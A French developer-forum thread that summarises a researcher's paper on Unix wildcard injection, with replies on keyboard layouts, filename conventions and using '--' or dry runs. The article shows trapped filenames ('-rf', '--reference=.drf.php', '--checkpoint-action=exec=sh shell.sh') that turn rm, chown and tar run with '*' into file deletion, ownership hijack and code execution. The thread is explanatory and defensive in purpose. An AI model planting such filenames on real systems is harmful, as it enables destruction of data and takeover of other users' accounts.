IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Sécurité Discussion :

Le joker '*' d'Unix, une source de bien des dangers


Sujet :

Sécurité

  1. #1
    Responsable 2D/3D/Jeux


    Avatar de LittleWhite
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Mai 2008
    Messages
    26 858
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur développement logiciels

    Informations forums :
    Inscription : Mai 2008
    Messages : 26 858
    Points : 218 575
    Points
    218 575
    Billets dans le blog
    120
    Par défaut Le joker '*' d'Unix, une source de bien des dangers
    Le joker d'Unix, une source de bien des dangers
    Un outil pratique au quotidien, mais qui peut se révéler fatal à l'usage

    Vous connaissez très certainement le joker (wildcard), représenté sous Unix et dérivés par le caractère '*'. Ce simple caractère permet à votre terminal de compléter lui-même et de manière automatique des éléments. Plus précisément, si avez un répertoire avec trois fichiers comme suit :
    toto
    foo
    lol
    Et que j'exécute la commande suivante (pour lister des fichiers) :
    ls *o*o
    Sans surprise, vous obtenez :
    foo toto
    Le joker permet donc de substituer zéro ou plus caractère. Un ls * liste donc, tous les fichiers du dossier courant.
    Un outil très utile donc, que vous avez déjà dû utiliser plusieurs fois.


    Concept

    Un chercheur a publié un document expliquant que cet outil, bien que très pratique est aussi une source de nombreux dangers. Voici un exemple de dossier piégé :
    [root@defensecode public]# ls -al
    total 20
    drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
    drwx------. 22 leon leon 4096 Oct 28 16:15 ..
    drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
    drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
    drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
    -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
    -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
    -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
    -rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
    Nous voyons ici, un fichier inhabituel "-rf". Si l'utilisateur effectue un rm *, pour supprimer les fichiers actuels, sans supprimer les sous-dossiers, la commande réellement exécutée, sera :
    rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf
    Et, tristement, il ne restera plus rien de son dossier, ni de ses sous-dossiers.


    Hijack du propriétaire et mode des fichiers

    Certes, détruire des fichiers, ce n'est peut être pas le plus intéressant. Mais, en cherchant bien, nous pouvons trouver beaucoup plus intéressant et c'est ce qu'a fait le chercheur pour nous : chown.
    Imaginons que l'administrateur souhaite changer le propriétaire de tous les fichiers du dossier suivant en "nobody" :
    drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
    drwx------. 22 user user 4096 Oct 28 17:34 ..
    -rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
    -rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
    -rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
    -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
    -rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
    -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
    -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
    -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
    -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
    -rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
    -rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
    -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
    -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
    -rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
    -rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php
    Il utilise la commande :
    chown -R nobody:nobody *.php
    et le résultat est :
    drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
    drwx------. 22 user user 4096 Oct 28 17:34 ..
    -rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
    -rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
    -rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
    -rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
    -rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
    -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
    -rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
    -rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
    -rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
    -rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
    -rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
    -rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
    -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
    -rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
    -rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php
    Comme vous pouvez le voir, tous les fichiers appartiennent maintenant à leon. Comme dans l'exemple précédent, la commande a traité le fichier --reference=.drf.php comme une option, option permettant de dire d'utiliser le propriétaire et le groupe d'un fichier, en place d'utiliser la notation PROPRIÉTAIRE:GROUPE.
    Pire, avec un lien symbolique menant au dossier /etc/shadow, le propriétaire du dossier système aurait pu être modifié lui aussi.

    Cette astuce peut être aussi utilisée avec chmod et les modifications du mode des fichiers.


    Exécution de code arbitraire

    Il est possible d'aller encore plus loin avec cette astuce. Cette fois, l'outil cible est tar (compression de fichiers) et son option :
    --checkpoint[=NUMBER]
    display progress messages every NUMBERth record (default 10)

    --checkpoint-action=ACTION
    execute ACTION on each checkpoint
    Voici le contenu du dossier piégé :
    drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
    drwx------. 24 user user 4096 Oct 28 18:32 ..
    -rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
    -rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
    -rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
    -rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
    -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
    -rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
    -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
    -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
    -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
    -rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
    -rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
    -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
    -rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
    -rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
    Et la commande utilisée :
    tar cf archive.tar *
    Vous l'avez deviné, shell.sh sera exécuté à l'insu de l'utilisateur lançant la compression.

    Il est possible de faire la même chose avec rsync un autre outil très utilisé et l'option -e.


    Ces astuces ne sont pas nouvelles et elles existent depuis plus de vingts ans. Ce n'est pas un bogue et comme toujours, il est du ressort de l'administrateur de faire très attention à ce qu'il exécute et le contenu des dossiers.


    Votre opinion

    Connaissiez-vous ces astuces ? Comment les avez-vous apprises ?
    Avez-vous déjà rencontré ce genre de pièges avec le joker ?
    Comment pouvons-nous nous en protéger ?

    Source

    Back To The Future: Unix Wildcards Gone Wild
    Vous souhaitez participer à la rubrique 2D/3D/Jeux ? Contactez-moi

    Ma page sur DVP
    Mon Portfolio

    Qui connaît l'erreur, connaît la solution.

  2. #2
    Membre éprouvé
    Homme Profil pro
    -
    Inscrit en
    Octobre 2011
    Messages
    344
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Autre

    Informations professionnelles :
    Activité : -

    Informations forums :
    Inscription : Octobre 2011
    Messages : 344
    Points : 1 235
    Points
    1 235
    Par défaut
    Bon je m'inquiète pas trop pour une utilisation humaine, il faut toujours faire un ls avant de faire un opération qui peut modifier les fichiers, simplement car un wildcard peut être plus permissif que pensé.
    Ça s'apparente plus à des failles de sécurité pour les script shell selon moi. Maintenant je retiens qu'il faut toujours utiliser l'option -- devant chanque variable dont le contenu peu être donné par un utilisateur. L'option -- désactive la lecture d'option.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    rm -- $1
    chmod a+X -- *

  3. #3
    Membre chevronné
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Juillet 2007
    Messages
    884
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 42
    Localisation : France, Loire Atlantique (Pays de la Loire)

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Juillet 2007
    Messages : 884
    Points : 2 018
    Points
    2 018
    Par défaut
    Ce n'est pas le jocker qui soit spécialement une source d'erreur mais plus l'humain. L'éternel dilem est : plus l'on simplifie plus l'erreur porte a conséquence, mais si l'on ne simplifie pas la gestion est lourde.

    Il y a l’excès qui consiste a demander confirmation de la confirmation de la validation de la suppression de chaque fichiers.

    A l'inverse la tendance des barbus d'Unix est de simplifier a l’extrême dans un souci d'efficacité mais il vaut mieux bien réfléchir avant, avoir des sauvegardes, tester... et utiliser des conventions simple : pas de caractère tordus dans les nom de fichiers.

    Les commande Linux les plus courantes sont très courtes : "rm","ls","cd","df","du" et peuvent donc facilement être taper par inadvertance / réflexe.

    Une autre cause de souci est que le "*" se situe a côté de la touche "entrer"... ainsi on peut vouloir taper "rm monfichier[enter]" et finalement "rm monfichier *" car la tabulation a automatiquement rajouter l'espace. Dans un réflexe voyant que la commande n'est pas passer on tape "Entrer" a nouveau. effaçant tous les fichiers.
    Tout ce que j'écris est libre de droits (Licence CC0) et je vous incite à faire de même.

  4. #4
    Membre actif
    Homme Profil pro
    Développeur Web
    Inscrit en
    Avril 2010
    Messages
    107
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Avril 2010
    Messages : 107
    Points : 233
    Points
    233
    Par défaut
    Une bonne habitude à prendre est de toujours exécuter avec l'option --dry-run ou --simulate quand elles sont disponible. Pour le rm, quelque chose du genre $echo rm *.txt devrait marcher, ou la solution maniaque avec -i.

  5. #5
    Membre averti
    Homme Profil pro
    Inscrit en
    Juillet 2012
    Messages
    200
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Bénin

    Informations forums :
    Inscription : Juillet 2012
    Messages : 200
    Points : 342
    Points
    342
    Par défaut
    J'ai l'impression que les risques décrits ici ne concernent que les systèmes où les utilisateurs ignorent (délibérément ou non) la règle de nommage des fichiers en informatique. Un nom de fichier ne doit contenir que des lettres, des chiffres, le blanc souligné "_" et le point. Il doit commencer par une lettre, un point, ou le blanc souligné. Le tiret "-" n'est accepté que s'il est encadré par des caractères autorisés, il ne peut être ni en début, ni en fin de fichier.,
    Aujourd'hui, avec la tolérance des SE, peu de gens respectent encore cette règle et je vois même des informaticiens mettre des espaces dans des noms de fichiers

  6. #6
    Membre chevronné

    Profil pro
    Chef de Projet / Développeur
    Inscrit en
    Juin 2002
    Messages
    598
    Détails du profil
    Informations personnelles :
    Localisation : France, Loire Atlantique (Pays de la Loire)

    Informations professionnelles :
    Activité : Chef de Projet / Développeur
    Secteur : Santé

    Informations forums :
    Inscription : Juin 2002
    Messages : 598
    Points : 2 020
    Points
    2 020
    Par défaut
    un "CHERCHEUR" vient de découvrir del *
    Punaise : quelle pointure !!

    Sans blague : tout utilisateur régulier d'un shell Unix connais le danger du caractère *

    J'ai fait peu d'Unix (oui, à l'époque Linux balbutiait), mais je n'ai pas eu besoin de faire des recherches au delà du mode d'emploi (il y en avait à l'époque) pour savoir qu'on ne doit jamais travaillé sous SU et qu'il fallait se méfier comme de la peste du caractère * (dangereusement placé à coté de la touche "entrée" comme cela a été écrit plus haut).
    --
    vanquish

  7. #7
    Responsable 2D/3D/Jeux


    Avatar de LittleWhite
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Mai 2008
    Messages
    26 858
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur développement logiciels

    Informations forums :
    Inscription : Mai 2008
    Messages : 26 858
    Points : 218 575
    Points
    218 575
    Billets dans le blog
    120
    Par défaut
    La plainte contre l'emplacement de '*', cela n'est correcte que sur les claviers français.
    De plus, ici, ce n'est pas le problème de "su", ou pas. C'est le problème que des dossiers peuvent être piégés et détourner le sens des commandes exécutées. Si vous voulez piéger un utilisateur normal, cela fonctionne aussi.
    Vous souhaitez participer à la rubrique 2D/3D/Jeux ? Contactez-moi

    Ma page sur DVP
    Mon Portfolio

    Qui connaît l'erreur, connaît la solution.

  8. #8
    Membre expert Avatar de air-dex
    Homme Profil pro
    Inscrit en
    Août 2010
    Messages
    1 653
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 36
    Localisation : France

    Informations forums :
    Inscription : Août 2010
    Messages : 1 653
    Points : 3 773
    Points
    3 773
    Par défaut
    Citation Envoyé par abriotde Voir le message
    Une autre cause de souci est que le "*" se situe a côté de la touche "entrer"... ainsi on peut vouloir taper "rm monfichier[enter]" et finalement "rm monfichier *" car la tabulation a automatiquement rajouter l'espace. Dans un réflexe voyant que la commande n'est pas passer on tape "Entrer" a nouveau. effaçant tous les fichiers.
    Faux. Oui '*' est à côté de la touche 'Entrée'. Je ne vais quand même pas contredire ça. Par contre quand on tape sur la touche 'Entrée' c'est le plus souvent sur le haut de la touche. Du coup si on tape un symbole par inadvertance en voulant appuyer sur 'Entrée', alors il y aura beaucoup plus de chances que celui-ci soit '$' et non '*'. Perso je n'ai pas souvenir d'avoir appuyer sur '*' par erreur au lieu d'Entrée. Par contre ça arrive très souvent pour '$'.
    "Ils ne savaient pas que c'était impossible alors ils l'ont fait." Mark Twain

    Mon client Twitter Qt cross-platform Windows et Linux. (en cours de développement).

  9. #9
    Membre actif
    Homme Profil pro
    Développeur Web
    Inscrit en
    Avril 2010
    Messages
    107
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Avril 2010
    Messages : 107
    Points : 233
    Points
    233
    Par défaut
    Citation Envoyé par air-dex Voir le message
    Faux. Oui '*' est à côté de la touche 'Entrée'. Je ne vais quand même pas contredire ça. Par contre quand on tape sur la touche 'Entrée' c'est le plus souvent sur le haut de la touche. Du coup si on tape un symbole par inadvertance en voulant appuyer sur 'Entrée', alors il y aura beaucoup plus de chances que celui-ci soit '$' et non '*'. Perso je n'ai pas souvenir d'avoir appuyer sur '*' par erreur au lieu d'Entrée. Par contre ça arrive très souvent pour '$'.

    Moi ça m'arrive tout le temps !
    Dès que je change de clavier (toujours un azerty), entre celui de la maison, du portable, du bureau, ça manque jamais je vais avoir le doigt qui va glisser

  10. #10
    Membre à l'essai
    Homme Profil pro
    Inscrit en
    Novembre 2003
    Messages
    16
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Novembre 2003
    Messages : 16
    Points : 17
    Points
    17
    Par défaut et quelle découverte!!!
    Bonjour,

    déjà je le savais depuis mes premiers pas à l'Université. Pas besoin d'être chercheur mais disons que l'idée de partager n'est tout de même pas mal car cela permettra à beaucoup de de le découvrir.
    "On ne finit jamais d'apprendre"

    P.S.: Il faudrait ajouter au passage que le joker a ses avantages et ses inconvenient et cela pas seulement sous UNIX mais en général

    Merci et bonne journée à toutes et à tous

    TT

  11. #11
    Membre expert Avatar de jabbounet
    Homme Profil pro
    Consultant informatique
    Inscrit en
    Juin 2009
    Messages
    1 909
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48

    Informations professionnelles :
    Activité : Consultant informatique

    Informations forums :
    Inscription : Juin 2009
    Messages : 1 909
    Points : 3 284
    Points
    3 284
    Par défaut
    Citation Envoyé par air-dex Voir le message
    Faux. Oui '*' est à côté de la touche 'Entrée'. Je ne vais quand même pas contredire ça. Par contre quand on tape sur la touche 'Entrée' c'est le plus souvent sur le haut de la touche. Du coup si on tape un symbole par inadvertance en voulant appuyer sur 'Entrée', alors il y aura beaucoup plus de chances que celui-ci soit '$' et non '*'. Perso je n'ai pas souvenir d'avoir appuyer sur '*' par erreur au lieu d'Entrée. Par contre ça arrive très souvent pour '$'.
    moi oui , je vais contredire cela....

    '*' a côté d'entrée, cela dépend du clavier et de la disposition que tu utilise.

    Si l'étoile a côté de la touche entrée est réellement gênante tu as le choix de la disposition ....
    je connais quelques developpeur qui utilise des qwerty (us) car les accolades et certaines touches utiles au programmeur sont mieux disposées.

    Personnellement j'utilise un typematrix, et la touche entrée est centrale sur ce clavier,
    http://typematrix.com/style/img/tmx-2030_features.png

    Ajouté à cela j'ai une disposition BÉPO (cf lien dans ma signature)

    Concernant les dispositions il en existe une multitude et toutes n'ont pas l'étoile côté d'entrée
    https://fr.wikipedia.org/wiki/Dispos..._informatiques


    Concernant l'étoile a proprement parler, cela fait partie des outils du système et comme tout outils il faut apprendre a s'en servir.
    je ne pense pas que je monterai dans un avion si je sais que les commandes sont laissé a quelqu'un qui ne sais pas piloter par exemple.
    bazar: http://www.improetcompagnie.com/publ...ctacles-6.html

    BÉPO la disposition de clavier francophone, ergonomique et libre: http://bepo.fr/wiki/Accueil

    Emacs Wiki: http://www.emacswiki.org/

    En attente de ce que produira: http://www.pushmid.com

  12. #12
    Inactif  
    Homme Profil pro
    Assistant aux utilisateurs
    Inscrit en
    Novembre 2014
    Messages
    82
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 34
    Localisation : Etats-Unis

    Informations professionnelles :
    Activité : Assistant aux utilisateurs

    Informations forums :
    Inscription : Novembre 2014
    Messages : 82
    Points : 110
    Points
    110
    Par défaut
    Le souci n'a rien à voir avec * ou le shell et tout à voir avec la ligne de commande et le fait d'y mettre des noms de fichiers.

Discussions similaires

  1. [XL-2007] vérifier si une TextBox contient bien des caractères numériques
    Par YassDumb dans le forum Macros et VBA Excel
    Réponses: 3
    Dernier message: 12/07/2012, 16h41
  2. Réponses: 11
    Dernier message: 05/08/2009, 12h30
  3. Une source en entrée, des objets différents en sortie
    Par SesechXP dans le forum Design Patterns
    Réponses: 4
    Dernier message: 18/07/2008, 08h53
  4. comment tester si une fonction fait bien son travail
    Par access dans le forum Requêtes
    Réponses: 1
    Dernier message: 24/11/2003, 15h46
  5. [Crystal Report 8] créer une source de données oracle
    Par Lina dans le forum SAP Crystal Reports
    Réponses: 4
    Dernier message: 14/11/2002, 13h53

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo